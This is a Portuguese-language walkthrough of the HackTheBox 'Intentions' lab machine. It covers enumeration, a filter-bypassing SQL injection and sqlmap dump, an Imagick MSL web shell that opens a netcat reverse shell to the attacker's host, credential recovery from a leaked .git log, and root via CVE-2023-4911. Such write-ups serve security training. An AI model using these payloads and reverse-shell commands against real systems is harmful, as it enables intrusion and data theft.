HackTheBox - Intentions Writeup
Enumaration
Nmap
Vamos usar o nmap para descobrir quais as portas estão abertas e quais serviços estão disponíveis.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ nmap -v -sV -sC -Pn 10.10.11.220 -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Intentions
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Temos duas portas abertas, 22 SSH e 80 HTTP.
Gobuster
Vamos usar o gobuster para tentar descobrir algo de interessante, já adiantando o único diretório que mais interessa nesse momento é o /js, os outros não conseguimos fazer muita coisa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ gobuster dir -u http://10.10.11.220/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t60
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.220/
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/gallery (Status: 302) [Size: 322] [--> http://10.10.11.220]
/admin (Status: 302) [Size: 322] [--> http://10.10.11.220]
/storage (Status: 301) [Size: 178] [--> http://10.10.11.220/storage/]
/css (Status: 301) [Size: 178] [--> http://10.10.11.220/css/]
/js (Status: 301) [Size: 178] [--> http://10.10.11.220/js/]
/logout (Status: 302) [Size: 322] [--> http://10.10.11.220]
/fonts (Status: 301) [Size: 178] [--> http://10.10.11.220/fonts/]
De todos os arquivos listados, o que chama mais atenção é o admin.js, uma dica importante é sempre bom analisar o java script da página, pode conter informações importantes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ gobuster dir -u http://10.10.11.220/js/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t60 -x js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.220/js/
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.js (Status: 403) [Size: 162]
/login.js (Status: 200) [Size: 279176]
/gallery.js (Status: 200) [Size: 310841]
/admin.js (Status: 200) [Size: 311246]
/app.js (Status: 200) [Size: 433792]
Com essas informações vamos validar todas essas informações descobertas.
Port 80 - HTTP (nginx 1.18.0)
Na página inicial temos um campo de login e outro para se registrar.
Como não temos nenhuma credencial para autenticar na aplicação, vamos criar uma conta e analisar a aplicação.
Inicialmente vemos que se trata de uma aplicação bem simples de galeria de imagens.
Em porfile temos um campo de input aonde podemos inserir gêneros favoritos, como a própria aplicação já sugere: food, travel e nature.
Na aba Your Feed, teremos fotos relacionadas ao que escolhemos na aba profile.
Burp Suite
Vamos analisar essa requisição no burp para facilitar.
A resposta na aba feed seria dessa forma.
SQLinjection
Primeiro vamos precisar saber o número de colunas, para isso vamos usar order by, porem aqui temos que usar uma técnica de bypass. Você pode ver mais sobre isso aqui:
https://portswigger.net/support/sql-injection-bypassing-common-filters
Tivemos uma reposta success.
Então seguimos tentando descobrir o número de colunas.
1
2
3
4
5
6
')/**/ORDER/**/BY/**/1# true
')/**/ORDER/**/BY/**/2# true
')/**/ORDER/**/BY/**/3# true
')/**/ORDER/**/BY/**/4# true
')/**/ORDER/**/BY/**/5# true
')/**/ORDER/**/BY/**/6# false
Agora sabemos que temos 5 colunas, ele retorna um erro quando usamos order by 6.
Usando union select vamos descobrir a versão dessa banco de dados.
sqlmap
Podemos automatizar com sqlmap, devemos salvar a requisição da pagina genres e feed, a seguir informamos isso para o sqlmap, vai ser da seguinte forma:
1
sqlmap -r genres.req -p genres --second-req feed.req --tamper=space2comment --batch --level=5 --risk=3 -D intentions -T users --dump
Como resposta temos duas hash de usuários admin.
Exploitation
Antes de prosseguir para logar com o usuário steve, vamos analisar o arquivo admin.js que encontramos lá no inicio do nosso recon. Alguns comentários com informações importantes.
Até então tínhamos o conhecimento do endpoint /api/v1/, segundo o comentário acima vemos que existe /api/v2/.
Quando tentamos fazer login vemos que esse endpoint precisa de um campo chamado hash.
Conseguimos fazer login na aplicação usando o hash do usuário.
Outro comentário no arquivo admin.js que chama bastante atenção.
1
"The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: https://www.php.net/manual/en/class.imagick.php"
Pesquisando no google nos deparamos com o seguinte site mostrado abaixo, seguindo passo a passo da explicação do artigo é possível conseguir uma reverse shell.
Reverse Shell com www-data
No seguinte endpoint devemos usar dois parâmetro, path e effect e o método POST.
Primeiro, precisamos criar uma imagem com um web shell, já que o MSL permite apenas trabalhar com imagens.
1
convert xc:red -set 'Copyright' '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f");?>' shell.png
Segundo, vamos criar um arquivo MSL que copiará esta imagem do nosso servidor HTTP para um diretório web gravável. Sabendo disso no próprio burp vamos fazer algumas alterações para conseguir uma reverse shell, com base no artigo que encontramos no google.
Agora basta acessar o seguinte link para receber a conexão no netcat. http://10.10.11.220/shell.php
Shell com greg
Dentro do diretório da aplicação web encontramos uma pasta .git, porem temos que fazer download para nossa máquina local.
Primeiro temos que iniciar um servidor usando python no servidor.
1
2
www-data@intentions:~/html/intentions$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
A seguir usamos uma ferramenta git dumper para fazer download.
1
2
┌──(c4st13l㉿0x00)-[~/HTB/Intentions/src/.git]
└─$ /opt/git-dumper/git_dumper.py http://10.10.11.220:8000/.git ~/HTB/Intentions/src
Não foi muito difícil encontrar informações sensíveis, pois estava nos logs.
1
greg:Gr3g1sTh3B3stDev3l0per!1998!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ ssh greg@10.10.11.220
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Oct 14 01:42:33 PM UTC 2023
System load: 0.0615234375
Usage of /: 58.5% of 6.30GB
Memory usage: 8%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.10.11.220
IPv6 address for eth0: dead:beef::250:56ff:feb9:4ec6
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
$ bash -i
greg@intentions:~$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
User flag xD
1
2
greg@intentions:~$ cat user.txt
ddb577e240e6ff27b1edcaee4d037ca2
Privilege Escalation
CVE-2023-4911
Essa máquina está vulnerável a Looney Tunables, essa vulnerabilidade é um buffer overflow no GNU C library’s dynamic loader. A biblioteca GNU C (comumente chamada de glibc) é um componente fundamental da maioria dos sistemas operacionais Unix.
Para verificar se a máquina está vulnerável, posso executar o seguinte comando:
O segfault indica que é vulnerável.
Como a vulnerabilidade existe há apenas uma semana, novas explorações de prova de conceito (POC) ainda estão sendo lançadas. Neste ponto, a exploração com a qual tive mais sucesso vem do usuário do Twitter, bl4sty.
Ele fornece um script Python que irá:
- Gere uma versão corrigida do glibc que executa um shell ao ser carregado.
- Configure o ambiente para ativar o overflow.
- Execute um binário SetUID su repetidamente até que um shell seja retornado.
Irei salvar uma cópia do gnu-acme.py na maquina da vitima.
Após executar o script ele começa a tentar explorar, mostrando “.” caracteres na parte inferior para mostrar tentativas fracassadas. Isso normalmente leva muito tempo, dependendo do hardware e da configuração do host. Depois de vários minutos, ele envia uma mensagem informando que possui um shell:
Flag root xD
Referência
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
https://portswigger.net/support/sql-injection-bypassing-common-filters